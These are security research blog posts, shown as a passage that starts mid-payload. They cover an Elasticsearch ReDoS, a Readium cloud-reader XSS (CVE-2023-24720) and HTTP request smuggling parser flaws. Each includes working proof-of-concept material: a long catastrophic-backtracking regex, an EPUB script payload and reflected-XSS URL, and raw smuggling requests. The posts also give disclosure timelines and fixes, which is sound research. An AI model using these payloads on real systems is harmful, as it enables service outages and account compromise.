7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,10}$/  ? false : false",
"params":{
   "x":"aaaaaax"
}
```

<figure><img src="/files/V1pJHKQGv5CLVgPMB1Qh" alt=""><figcaption></figcaption></figure>

Clearly, we could continue adding more `{0,7}` to the regex to strengthen the payload until it crashes the Elasticsearch service. To respect the program rules against performing DoS attacks, I did not test any payloads stronger than this.

### Attacker Leverage and My Philosophy on DoS

Alas, this adventure only served to fuel my ongoing gripe with the status quo of classifying all DoS issues as out of scope in bug bounty programs.

<figure><img src="/files/uxomygg9cTnE161EkOzF" alt=""><figcaption></figcaption></figure>

It's understandable that companies and organizations don't want people spamming their infrastructure to report DoS issues. But when you have an exponential amplification vector, it's dangerous to ignore.

The traditional CIA model has three problem areas, and *Availability* is one of them. What's important is leverage. How much leverage does the attacker have over your resources?

If an attacker can use a single HTTP request to bring your server to its knees, that's a very high-leverage DoS vector. On the other hand, if the attacker has to use significant resources, like a botnet, to stage a DDoS, then that's a very low-leverage DoS vector. I definitely agree that low-leverage DoS vectors should be out of scope!

I hope that more people adopt this view and become more accepting of DoS vulnerabilities in application security. In this particular case, it is definitely a high-leverage vulnerability that deserves attention. Unfortunately, the team will likely never fix it.

## ReDoS in Single-Threaded Applications

Node.js is a single-threaded, event-driven JavaScript runtime. Simply put, everything happens on a single-threaded "event loop". When things happen (such as a new request), a callback is triggered. This fills up the event queue, which the event loop works to clear.

<figure><img src="/files/RmAAyCuK7vkgRWx5DRoc" alt=""><figcaption></figcaption></figure>

All of this is to say, if a regular expression is being tested in JavaScript, nothing else can happen until the test is complete. For example, if a Node.js web server is handling a request, and is using a regex to validate one of the request parameters, no other requests can go through until this is done.

This has client-side implications as well — there is no way to push work off to a background thread to keep the UI responsive, everything has to happen in the event loop.

It gets even more interesting when modern desktop apps are built on frameworks like [Electron](https://www.electronjs.org/) that run on Node.js. Recently, I came across a *very* complex URL validation regex in an Electron app.

{% code overflow="wrap" %}

```regex
^(?:(?:https)://)(?:\S+(?::\S*)?@)?(?:(?!(?:10|127)(?:\.\d{1,3}){3})(?!(?:169\.254|192\.168)(?:\.\d{1,3}){2}) [...REDACTED...] |(?:(?:[a-z\u00a1-\uffff0-9]-*)*[a-z\u00a1-\uffff0-9]+)(?:\.(?:[a-z\u00a1-\uffff0-9]-*)*[a-z\u00a1-\uffff0-9]+)*)(?::\d{2,5})?(?:[/?#]\S*)?$
```

{% endcode %}

This regex was tested every time the user clicked on a link, so sending the following link to a victim can cause their application to hang for several seconds.

```javascript
("https://6" + "@:-".repeat(8075) + "\t")
```

Client-side DoS vectors like these are also hard to ignore — who doesn't remember the viral WhatsApp bug that crashed the app whenever someone sent an evil message?

## Wrapping Up

Writing regular expressions is hard. On one hand, security-oriented regular expressions need to be able to catch all edge cases and potential bypasses. On the other, we need to avoid overly complex regular expressions that introduce ReDoS vectors.

On delicate attack surfaces like URL parsing, it's almost always better to go with existing parsers instead of trying to reinvent the wheel. For instance, JavaScript's *URL* class is WHATWG URL Standard compliant, which means that it parses URLs exactly how a standards-compliant browser would.

It is way better to prevent XSS, for example, by using `new URL(dirty).protocol === 'javascript:'` instead of trying to use a regular expression to catch `javascript:` URLs, simply because there are many ways to write the same URL. Your custom regex might catch `javascript:alert()`, but does it catch *all* of the following URLs? It might be hard to say.

* `JAVASCRIPT:alert()`
* `\x00javascript:alert()`
* `java\r\nscript:alert()`
* `java\tscript:alert()`
* `javascript\r\n:alert()`

If regular expressions have to be used, it's often wise to avoid the following patterns to prevent ReDoS:

* Nesting quantifiers, like `(a+)+`
* Non-mutually exclusive alternations, like `(.|a)*`
* Non-mutually exclusive quantifiers in sequence, like `a.*?b.*?c`

I hope that this has been an interesting read!


# ReadiumJS Cloud Reader — Everybody Gets an XSS!

Stumbling upon an XSS paradise.

## Introduction

Late last year, I participated in a bug bounty programme organized by Singapore's [Ministry of Defence (MINDEF)](https://www.mindef.gov.sg/) where I received the [Top Bug Bounty Hunter award](https://www.linkedin.com/feed/update/urn:li:activity:6993394788045606914/) (yay!).

Finding these bugs required a deep dive into the targets and their underlying technologies. This meant that, among other things, I learnt about the existence of the [EPUB format](https://www.w3.org/AudioVideo/ebook/) and the world of EPUB cloud readers.

This led me to discover a (surprisingly, somewhat known) XSS vulnerability in the [Readium](https://github.com/readium) cloud reader that affects many university websites and online libraries.

<figure><img src="/files/gJoLLcjKJzAlgUTGIIjL" alt=""><figcaption></figcaption></figure>

I have attempted to get in touch with the maintainers to remediate the issue, but have not yet received any response. Going by the conventional 90-day disclosure timeline, I am now sharing details on this vulnerability.

## What is an EPUB? What is a Readium?

The EPUB format is an XML-based ebook format created by the [International Digital Publishing Forum (IDPF)](https://idpf.org/). It is one of the major ebook formats around today. Unlike other proprietary formats such as Amazon's Kindle KF8, the EPUB format is vendor-independent.

The [Readium](https://readium.org/) project was started by IDPF, and is one of the cited EPUB readers on the [W3 website](https://www.w3.org/AudioVideo/ebook/).

<figure><img src="/files/dH2eJeUtBpPjUrDL8jXf" alt=""><figcaption></figcaption></figure>

To see it in action, we can visit the Readium cloud reader [demo](https://readium.firebaseapp.com/). We can quickly see that the cloud reader renders `iframe`s containing pages of the ebook.

<figure><img src="/files/d5escKdcLWPbtIOi8Snf" alt=""><figcaption></figcaption></figure>

Each page is fetched from the location indicated in `data-src` and converted into the final rendered HTML. The pages are XHTML files and are called EPUB [content documents](https://www.w3.org/publishing/epub3/epub-contentdocs.html). For example, page 1 of La Page Blanche contains the following content.

```markup
<?xml version="1.0" encoding="UTF-8"?>
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:epub="http://www.idpf.org/2007/ops">
    <head>
        <meta charset="utf-8" />
        <meta name="viewport" content="width=1200, height=1577" />
        <title>La Page Blanche</title>
        <link href="../Style/style.css" type="text/css" rel="stylesheet" />
    </head>
    <body>
        <div class="page" epub:type="frontmatter titlepage"><img
                src="../Image/PageBlanche_Page_001.jpg" alt="page 1" /></div>
    </body>
</html>
```

## Popping Alerts

First of all, we could see that the `iframe` does not have the `sandbox` attribute present. This means that any scripts firing within the `iframe` would execute on the same origin as its `src`.

Readium will create a `Blob` containing the page data and create a new `blob:` URL for it ([source](https://github.com/readium/readium-js/blob/999d7c32bcdd1184bcc248312267c6e744d737b9/js/epub-fetch/iframe_zip_loader.js#L117-L125)). This is the URL that the frame `src` is set to ([source](https://github.com/readium/readium-js/blob/999d7c32bcdd1184bcc248312267c6e744d737b9/js/epub-fetch/iframe_zip_loader.js#L280-L281)).

```javascript
// prefer BlobBuilder as some browser supports Blob constructor but fails using it
if (window.BlobBuilder) {
    var builder = new BlobBuilder();
    builder.append(contentDocumentData);
    blob = builder.getBlob(contentType);
} else {
    blob = new Blob([contentDocumentData], {'type': contentType});
}
documentDataUri = window.URL.createObjectURL(blob);

...

if (isBlobHandled) {
    iframe.setAttribute("src", documentDataUri);
```

Unfortunately, this means that the `iframe`'s origin will always be that of the parent page.

<figure><img src="/files/BvEaF6UGgXFhhm5iCrw1" alt=""><figcaption></figcaption></figure>

### Stored XSS

Suppose we are able to upload an ebook to an online library using Readium. We might upload a malicious EPUB that runs some evil JavaScript. Any user that opens our ebook would then have their account compromised.

To create such an EPUB, I copied an example EPUB from the Readium demo and changed the home page. An example PoC can be found [here](https://github.com/zeyu2001/readium-xss).

Note that we are using `x:script` to make the payload work with XHTML parsers.

```markup
<!DOCTYPE html>

<html>
    <body>
        Hello world!
    </body>
    <x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(document.domain)</x:script>
</html>
```

### Reflected XSS

The above scenario requires us to have privileges on the target site to upload arbitrary EPUBs and serve them to other users. It turns out, however, that the cloud reader is able to load remote EPUBs as well.

The cloud reader uses [medialize/URI.js](https://github.com/medialize/URI.js) to normalize the `epub` query parameter, which is a relative URL ([source](https://github.com/readium/readium-js/blob/master/js/Readium.js#L171-L181)).

```javascript
ebookURL = new URI(ebookURL).absoluteTo(thisRootUrl).toString();
```

However, when `ebookURL` is an absolute URL, `absoluteTo` retains the original base URL.

<figure><img src="/files/VyJYSYGhN0sKqXsZ3uxc" alt=""><figcaption></figcaption></figure>

This means that by simply passing our hosted exploit URL to the `epub` query parameter, we have a reflected XSS! This does not require us to have any permissions on the target site.

Using the example PoC on the Readium demo should pop an alert:

`https://readium.firebaseapp.com/?epub=https://zeyu2001.github.io/readium-xss/`

<figure><img src="/files/FT7F5ct4MAlEvH1p9Gac" alt=""><figcaption></figcaption></figure>

## Who Uses Readium?

The Readium cloud reader is a rather old project. While more recent and popular cloud readers have been developed, some sites still use the Readium cloud reader, including the IDPF's own website and several university sites.

I have made best effort attempts at identifying these sites (e.g. through Google dorking) and reaching out to the responsible teams to remediate this vulnerability before the release of this post.

The sites that have since remediated the vulnerability include the [University of Minnesota's College of Education and Human Development website](https://www.cehd.umn.edu/), which no longer contains the cloud reader page.

<figure><img src="/files/B1gBrUDhMDXjCVNHtZMH" alt=""><figcaption></figcaption></figure>

## Known Issue?

Interestingly, after doing some digging, I found that this was somewhat of a known issue. [This](https://readium.org/architecture/server/origin.html#serving-contents-in-the-web-context) documentation explains the issue.

> One should note that if a cloud reader aims to support JavaScript, all publications will at least share the same database, which means it is possible for an author to access data that originated in a different publication.

However, it leaves only the following suggestions to mitigate the vulnerability.

> Currently, the only options to protect against attacks (see "Security Concerns" section) are:
>
> * `iframe` sandboxing;
> * the Content Security Policy;
> * the Feature Policy.

These suggestions are *not* implemented in the default installation of [readium-js-viewer](https://github.com/readium/readium-js-viewer).

## Remediation

Since this is quite an old project, the best remediation might be to move to a more modern cloud reader. If Readium needs to be used, the `iframe`s on the page should have the `sandbox` attribute set.

Additionally, the page's Content Security Policy can be used to restrict where scripts can be loaded from.

## Disclosure Timeline

* 11 October 2022: Contacted maintainers through OSS platform [huntr.dev](https://huntr.dev/)
* 16 December 2022: Contacted maintainers through GitHub issue
* 27 January 2022: This blog post is released
* 12 April 2023: CVE-2023-24720 assigned


# HTTP Request Smuggling in the Multiverse of Parsing Flaws

Nowadays, novel HTTP request smuggling techniques rely on subtle deviations from the HTTP standard. Here, I discuss some of my recent findings and novel techniques.

Some time earlier this year, I conducted a bit of independent research on HTTP request smuggling and found a couple of vulnerabilities.&#x20;

This article expands on my talk on the topic at [BSides Singapore ](https://bsidessg.org/)2022.

## What is HTTP Request Smuggling?

To understand HTTP request smuggling, we have to first take a trip down memory lane.

The HTTP protocol has undergone several changes since its inception, and the latest protocol version is HTTP/3. While HTTP/2 is the most popular version today, HTTP/1.x still comprises a significant amount of web traffic and is crucially important in understanding HTTP request smuggling.

<figure><img src="/files/zXaRrjCo6V638ind36ae" alt=""><figcaption></figcaption></figure>

The major difference between HTTP/1.x and HTTP/2 is the fact that HTTP/2 evolved from a purely text-based protocol to a binary protocol. In HTTP/1.x, the `Content-Length` and `Transfer-Encoding` headers determined the length of an HTTP request. It is this reliance on two special headers that enabled the earliest discoveries of HTTP request smuggling.

<figure><img src="/files/abN8egvMfWuOzGS7OD53" alt=""><figcaption></figcaption></figure>

But this alone is not enough. In HTTP/1.0, one TCP connection is used for each HTTP request - any two HTTP requests cannot interfere with each other. With HTTP/1.1 came along, the concept of persistent connections was introduced. This introduced an entirely new vector of attack - if one request earlier in the TCP stream could interfere with another downstream request, a variety of vulnerabilities could occur.

<figure><img src="/files/Tmvb8HqlrYFQpRbRwTQC" alt=""><figcaption></figcaption></figure>

This becomes particularly relevant when considering architectures comprising a frontend proxy (such as Nginx, Apache HTTP Server and HAProxy) with backend web servers. Consider the following example.

<figure><img src="/files/NdBLz23vD6Ifp0VU9d54" alt=""><figcaption></figcaption></figure>

The frontend proxy parses the `Content-Length` header, forwarding the `GET /internal` request as part of the 53-byte request body.

The backend web server, on the other hand, parses the `Transfer-Encoding: chunked` header and interprets the first request to end at the `0` chunk size. This meant that from the perspective of the backend server, there are two requests - one to `/` and one to `/internal`.

Note that in this case, the backend is spec-compliant and the frontend proxy is not. According to [RFC7230 section 3.3.3](https://datatracker.ietf.org/doc/html/rfc7230#section-3.3.3), the `Transfer-Encoding` header overrides the `Content-Length`.

> If a message is received with both a Transfer-Encoding and a Content-Length header field, the Transfer-Encoding overrides the Content-Length. Such a message might indicate an attempt to perform request smuggling (Section 9.5) or response splitting (Section 9.4) and ought to be handled as an error. A sender MUST remove the received Content-Length field prior to forwarding such a message downstream.

## Enter the Multiverse

This section would be split into different groups of parsing flaws. Because I often compile multiple issues into a single report, the resulting CVEs comprise of multiple issues. It is more meaningful to discuss the various types of issues rather than each CVE individually.

### Some Observations

When I was looking into various web servers and proxies, I noticed some things that I would like to point out.

First, it seems like lots of research has been done on web proxy technologies, but not a lot has been done on backend servers. This is also reflected in the relative security of projects like Nginx and HAProxy against request smuggling. It is important to note that in most cases, a request smuggling attack reveals a two-pronged issue that requires both the frontend proxy and the backend server to be somewhat non-compliant.

This sometimes makes it difficult to demonstrate impact when disclosing vulnerabilities, as the impact often has to be qualified with a precondition that some other server in the stack is also non-compliant. It is important for maintainers not to dismiss request smuggling vectors as low impact or insignificant just because of this.

Second, most "traditional" request smuggling techniques have been patched. These are techniques that have been popularly taught and demonstrated, for example:

* Duplicate `Content-Length` headers (CL.CL)
* Frontend server uses `Content-Length`, backend uses `Transfer-Encoding` (CL.TE)
* Frontend server uses `Transfer-Encoding`, backend uses `Content-Length` (TE.CL)

The next part of this article will discuss *subtle* deviations from the HTTP standard that can lead to request smuggling. These are vectors that may seem trivial but are often neglected.

Last, when implementing [RFC7230](https://datatracker.ietf.org/doc/html/rfc7230#section-4.1.1), often the `SHOULD` clauses are equally important in preventing HTTP request smuggling. Sometimes differences in interpreting such clauses can lead to disagreements between servers.

### Number Parsing Flaws

According to the RFC, the `Content-Length` value comprises of any number of `DIGIT`s.

{% code overflow="wrap" %}

```
Content-Length = 1*DIGIT
...
Any Content-Length field value greater than or equal to zero is valid.
```

{% endcode %}

A `DIGIT` in the ABNF standard consists of strictly 0-9 only. However, due to number parsing implementations, many parsers will accept non-conformant values like `+23`.

Consider the following requests.

{% code overflow="wrap" %}

```http
GET / HTTP/1.1
Content-Length: +23

GET / HTTP/1.1
Dummy: GET /forbidden HTTP/1.1
```

{% endcode %}

In a previous version of [Apache Traffic Server](https://trafficserver.apache.org/), the `+23` content length is silently ignored, and the first request is interpreted as having zero content length.

Many web servers, however, will interpret `+23` as a valid content length. This means that the requests will now be interpreted very differently. The first request has a 23-byte body, ending at the `Dummy` header.

```http
GET / HTTP/1.1
Content-Length: +23

GET / HTTP/1.1
Dummy: 
```

The second request will now instead be routed to `/forbidden`.

```http
GET /forbidden HTTP/1.1
```

This starts to get more interesting when negative numbers are involved. For example, the following was the behaviour of [Twisted Web](https://github.com/twisted/twisted) when encountering negative content lengths.

<figure><img src="/files/f6ca8GiEvxZOS8useii1" alt=""><figcaption></figcaption></figure>

Chunk sizes also present a similar issue - servers should not accept the `0x` prefix. Because of differences in parsing hexadecimal numbers, this simple request can be interpreted differently.

```http
GET / HTTP/1.1
Transfer-Encoding: chunked

0x12
GET / HTTP/1.1

0
```

Some parsers will simply parse the number up to the first non-hex digit. This leads to the early termination of the request and consequently the smuggling of a second request.

```http
GET / HTTP/1.1
Transfer-Encoding: chunked

0
GET / HTTP/1.1

0
```

We can see how language-specific behaviour plays a part in these scenarios. In fact, the behaviour of the Python-based servers was in line with how `int()` handles integer strings, and Puma's behaviour was in line with Ruby's `to_i` (which parses integer strings up to the first non-decimal character).

#### Summary

| CVE ID         | Server (Language) | Behavior                                                             |
| -------------- | ----------------- | -------------------------------------------------------------------- |
| CVE-2022-24761 | Waitress (Python) | Accept ‘signed’ (±) and 0x-prefixed `Content-Length` and chunk sizes |
| CVE-2022-24801 | Twisted (Python)  | Accept ‘signed’ (±) and 0x-prefixed `Content-Length` and chunk sizes |
| CVE-2022-24790 | Puma (Ruby)       | <p>abc → 0</p><p>99 balloons → 99</p>                                |

### Whitespace is More Than 0x20

Headers allow for optional whitespace (`OWS`) before and after the field values.&#x20;

{% code overflow="wrap" %}

```
OWS = *( SP / HTAB )
header-field   = field-name ":" OWS field-value OWS
```

{% endcode %}

Importantly, only two whitespace characters are considered valid here - space and horizontal tab. But this definition of whitespace is often incompatible with that of generic stripping functions in most programming languages.

Consider the following request. If a proxy were to interpret the transfer coding as `\rchunked`, this may be interpreted as an invalid encoding and ignored.

<figure><img src="/files/slbOn9zCLIgHUgdNmdqk" alt=""><figcaption></figcaption></figure>

The second request would then contain a 23-byte body including `GET /admin`.

But a server that incorrectly strips the `\r` character from the `Transfer-Encoding` header would not see it the same way.

<figure><img src="/files/eXl7cD4nc0vGJhxQTcYN" alt=""><figcaption></figcaption></figure>

A much more classic technique involves whitespace between the header names and colon. By stripping the header names of whitespace, headers like `Content-Length : 5` were allowed in [mitmproxy](https://mitmproxy.org/). This particular case is clearly addressed in the RFC.

{% code overflow="wrap" %}

```
No whitespace is allowed between the header field-name and colon.  In the past, differences in the handling of such whitespace have led to security vulnerabilities in request routing and response handling.  A server MUST reject any received request message that contains whitespace between a header field-name and colon with a response code of 400 (Bad Request).  A proxy MUST remove any such whitespace from a response message before forwarding the message downstream.
```

{% endcode %}

#### Summary

| CVE ID         | Server (Language)     | Behavior                                |
| -------------- | --------------------- | --------------------------------------- |
| CVE-2022-28129 | Apache Traffic Server | `Content-Length[\x0b]: 0` accepted      |
| CVE-2022-24766 | mitmproxy (Python)    | `Content-Length[SP]: X` accepted        |
| CVE-2022-1705  | net/http (Golang)     | `Transfer-Encoding: \rchunked` accepted |

### Transfer-Encoding - You Had One Job

A quick primer on the `Transfer-Encoding` header - encodings are stated from first to last, so `gzip, chunked` would mean that the decoding server needs to decode the `chunked` body as `gzip` data.

According to RFC 7230, `chunked` must be the final value in the `Transfer-Encoding` header.

{% code overflow="wrap" %}

```
If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection.
```

{% endcode %}

But the deprecated [RFC 2616](https://www.rfc-editor.org/rfc/rfc2616) actually allows the `identity` encoding, which means "the use of no transformation whatsoever". In fact, in this RFC, the `chunked` transfer-coding is only used when the `Transfer-Encoding` value is not `identity`.

{% code overflow="wrap" %}

```
If a Transfer-Encoding header field (section 14.41) is present and has any value other than "identity", then the transfer-length is defined by use of the "chunked" transfer-coding (section 3.6), unless the message is terminated by closing the connection.
```

{% endcode %}

[Puma](https://github.com/puma/puma), in particular, assumed the opposite - as long as *any* of the `Transfer-Encoding` values is `chunked`, the message is parsed with chunked encoding. This means that the following request is considered `chunked`, although the final transformation is `identity`.

```http
GET / HTTP/1.1
Host: example.com
Transfer-Encoding: chunked, identity
```

Up till recently, many major proxies still supported the `identity` transfer-coding. This meant that any of these proxies used in combination with Puma would have allowed for request smuggling through the above request.

It is also important to reject any invalid `Transfer-Encoding` value. Servers often accept invalid values due to parsing flaws, and silently ignoring these malformed transfer-codings opens the door to request smuggling. When no supported `Transfer-Encoding` values are found, Puma would silently ignore the header altogether.

<figure><img src="/files/50z6ZlXjLN84YE21gm1k" alt=""><figcaption></figcaption></figure>

This is a good example of how research on web servers is equally important to that on web proxies. While the argument could be made that the fault lies with Apache Traffic Server for accepting the malformed `"chunked"` value, the attack would not have been possible if Puma threw a `400 Bad Request`  when encountering it.

<figure><img src="/files/5FmWGjxLpRbTA3gMb0ie" alt=""><figcaption></figcaption></figure>

Because of the variability of the `Transfer-Encoding` header, the parsing behaviour of various servers when it comes to this header is quite interesting. In particular, I noted an interesting behaviour in the Node.js `http` module.

<figure><img src="/files/maY0AfVuUZMVX5HtJCHP" alt=""><figcaption></figcaption></figure>

In the original code, when `chunked` is matched, a check is made to see if `chunked` is the final encoding. If a CRLF sequence is encountered, `chunked` is taken to be the final encoding, and the request body will be parsed as chunked. Otherwise, it attempts to match `chunked` again.

